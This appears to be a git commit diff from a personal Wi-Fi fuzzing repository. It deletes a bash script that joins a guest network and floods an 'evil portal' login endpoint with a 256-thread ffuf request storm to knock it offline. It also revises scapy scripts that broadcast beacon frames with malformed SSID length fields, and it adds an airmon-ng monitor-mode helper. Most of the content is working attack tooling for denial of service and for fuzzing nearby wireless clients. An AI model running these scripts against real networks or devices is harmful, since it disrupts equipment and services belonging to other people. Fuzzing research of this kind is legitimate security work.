vazrious updates to fuzzing, more organization

.gitignore

@@ -0,0 +1,3 @@
+private-notes.txt
+boofuzz
+old

evil-portal-sd-ruin.bak

@@ -1,23 +0,0 @@
-#!/bin/bash
-wifi_device=wlan1
-ssid=Guest-WiFi
-host="192.168.4.1"
-
-wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
-
-sudo nmcli d disconnect $wifi_device > /dev/null
-
-sudo nmcli dev wifi rescan > /dev/null
-
-echo -e "\nCashing This Evil Portal With No Survivors\n"
-
-sudo nmcli device wifi connect $ssid ifname $wifi_device
-
-echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
-
-ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
-
-echo -e "\n\nPinging To Confirm Kill...\n"
-ping -c 4 $host
-
-echo -e "\nThat Was Big Payload (4U)\nRIP"

pyenv.txt

@@ -1 +1,5 @@
+# start venv
 source boofuzz/env/bin/activate
+
+# toexit
+deactivate

scapy/wifi-beacon-fuzz.py

@@ -30,7 +30,8 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1
 		sendProbe(SSID, repeat, interval)
 
 def sendProbeFuzz(repeat=1, interval=0.150):
-	randMAC = RandMAC()
+	randMAC = '6e:07:9e:96:2b:4e'
+	# randMAC = RandMAC()
 	randLen = RandNum(0, 255)
 	randSSIDLen = random.randint(0,255)
 	randSSIDBytes = random.randbytes(randSSIDLen)

scapy/wifi-beacon-random-byte.py

@@ -5,7 +5,9 @@ from random import randbytes
 iface = 'wlan1'
 sender = 'ac:cb:12:ad:58:27'
 
-def sendProbe(SSID, repeat=3, interval=0.100):
+def sendProbe(SSID,
+			  repeat=3,
+			  interval=0.100):
 	dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
 	addr2=sender, addr3=sender)
 	beacon = Dot11Beacon()
@@ -13,15 +15,25 @@ def sendProbe(SSID, repeat=3, interval=0.100):
 	frame = RadioTap()/dot11/beacon/essid
 	sendp(frame, iface=iface, inter=interval, count=repeat)
 
-def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
-        dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
-        addr2=sender, addr3=sender)
-        beacon = Dot11Beacon()
-        essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
-        frame = RadioTap()/dot11/beacon/essid
-        sendp(frame, iface=iface, inter=interval, count=repeat)
+def sendProbeRaw(SSID,
+				 repeat=1,
+				 interval=0.200,
+				 listedLen=255,
+				 lenOverride=False):
 
-def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
+		dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
+		beacon = Dot11Beacon()
+		if lenOverride:
+			essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen))
+		else:
+			essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
+		frame = RadioTap()/dot11/beacon/essid
+		sendp(frame, iface=iface, inter=interval, count=repeat)
+
+def sendRandBytesBeacons(numOfBeacons=200,
+						 lenOfSSIDs=20,
+						 repeat=3,
+						 interval=0.100):
 	for i in range(numOfBeacons):
 		SSID = randbytes(lenOfSSIDs)
 		urlEncoded = urllib.parse.quote(SSID)
@@ -30,8 +42,9 @@ def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.1
 
 def sendRandBytesBeaconsRaw(
 	numOfBeacons=200,
-	lenOfSSIDs=256,
+	lenOfSSIDs=255,
 	listedLen=255,
+	lenOverridei=False,
 	repeat=1,
 	interval=0.2):
 	
@@ -39,7 +52,13 @@ def sendRandBytesBeaconsRaw(
 		SSID = randbytes(lenOfSSIDs)
 		urlEncoded = urllib.parse.quote(SSID)
 		print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
-		sendProbeRaw(SSID, repeat, interval, listedLen)
+		sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei)
+
+sendRandBytesBeaconsRaw(numOfBeacons=200,
+						lenOfSSIDs=2,
+						listedLen=1,
+						lenOverridei=True,
+						repeat=3,
+						interval=0.1)
 
-sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
 #sendRandBytesBeacons(100, 20, 5, 0.1)

scapy/wifi-beacon-scapy.py.orig.bak

@@ -1,20 +0,0 @@
-from __future__ import print_function
-from scapy.all import ( Dot11,
-                        Dot11Beacon,
-                        Dot11Elt,
-                        RadioTap,
-                        sendp,
-                        hexdump)
-
-SSID = 'Test SSID' 
-iface = 'wlan1'
-sender = 'ac:cb:12:ad:58:27'
-
-dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
-addr2=sender, addr3=sender)
-beacon = Dot11Beacon()
-essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
-
-frame = RadioTap()/dot11/beacon/essid
-
-sendp(frame, iface=iface, inter=0.100, loop=1)

wifi-helpers/wifi-monitor

@@ -0,0 +1,9 @@
+if [ -z $1 ]; then
+    dev=wlan1
+else
+    dev=$1
+fi
+
+sudo airmon-ng check kill
+sudo airmon-ng start $dev
+sudo airmon-ng